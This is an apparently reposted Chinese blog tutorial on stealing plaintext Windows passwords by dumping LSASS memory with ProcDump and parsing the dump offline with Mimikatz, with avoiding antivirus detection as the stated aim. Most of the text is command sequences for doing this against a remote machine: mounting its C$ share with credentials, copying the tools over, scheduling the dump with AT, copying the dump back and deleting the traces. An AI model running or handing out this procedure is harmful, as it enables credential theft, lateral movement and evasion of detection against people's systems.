admin管理员组文章数量:1637805
Mimikatz现在已经内置在Metasploit’s meterpreter里面,我们可以通过meterpreter下载。但是你如果觉得还要考虑杀毒软件,绑定payload之类的东西太过复杂,我们可以有更好的办法,只需要在自己的电脑上运行Mimikatz alpha(地址)版本,然后处理dump的LSASS进程内存文件就行!
那么如何dump LSASS进程内存呢。可以通过以下方式:
1.对于NT6可以使用windows自带的功能进行dump:
任务管理器—进程—显示所有用户进程—找到lsass—右键“创建转储文件”
2.对于NT5可以使用微软的Procdump工具(这当然不会引起杀软报毒)
Procdump: http://technet.microsoft/en-us/sysinternals/dd996900.aspx
命令如下:
1 | Procdump.exe -accepteula -ma lsass.exe lsass.dmp |
我们运行mimikatz的平台(platform)要与进行dump的系统(source dump)兼容,兼容性如下:
得到dump后的文件我们就能使用mimikatz获取密码了。我们dump自己的电脑当然没什么意思,下面介绍怎么dump别人的电脑。
首先我们需要能够访问别人的C$(通常只有管理员可以)
1 | net use \\TARGETBOX\C$ /user:DOMAIN\Username password |
2 | dir \\TARGETBOX\C$ |
如果上述命令好使的话,我们接下来使用AT命令。
1 | at \\TARGETBOX |
接下来我们可以在目标主机上开展工作了。
1 | mkdir \\TARGETBOX\C$\Temp |
2 | dir \\TARGETBOX\C$\Temp |
3 | copy c:\temp\procdump.exe \\TARGETBOX\C$\Temp |
4 | copy c:\temp\procdump.bat \\TARGETBOX\C$\Temp |
procdump.bat中的内容如下
1 | @echo off |
2 | C:\temp\procdump.exe -accepteula -ma lsass.exe %COMPUTERNAME%_lsass.dmp |
这里一个技巧就是dump得到的文件名中有“计算机名”,这样可以让我们区分是来dump的文件自哪台电脑。
我们继续。 使用 net time 来获知远程主机上的时间。
1 | net time \\TARGETBOX |
2 | at \\TARGETBOX 13:52 C:\Temp\procdump.bat |
复制dump的文件,然后清理痕迹
1 | dir \\TARGETBOX\C$\Temp |
2 | copy \\TARGETBOX\C$\Temp\*lsass.dmp C:\temp\output\ |
3 | rmdir /s \\TARGETBOX\C$\Temp |
之后我们就可以运行我们电脑上的Mimikatz,对得到的.dmp文件进行分析了(注意上文提到的兼容性)。命令如下:
1 | mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp |
2 | Switch to MINIDUMP |
3 |
4 | mimikatz # sekurlsa::logonPasswords full |
到此结束!我们得到了远程主机上的密码。
参考链接:http://www.room362/blog/2013/6/7/using-mimikatz-alpha-or-getting-clear-text-passwords-with-a.html
http://blog.gentilkiwi/securite/mimikatz/minidump
相关文章推荐《Win2012 Server抓HASH(本地+域)》《通杀WIN服务器得明文密码神器》
本文标签: 明文密码ProcDumpmimikatzWindows
版权声明:本文标题:利用procdump+Mimikatz 绕过杀软获取Windows明文密码 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1729253318a1192421.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论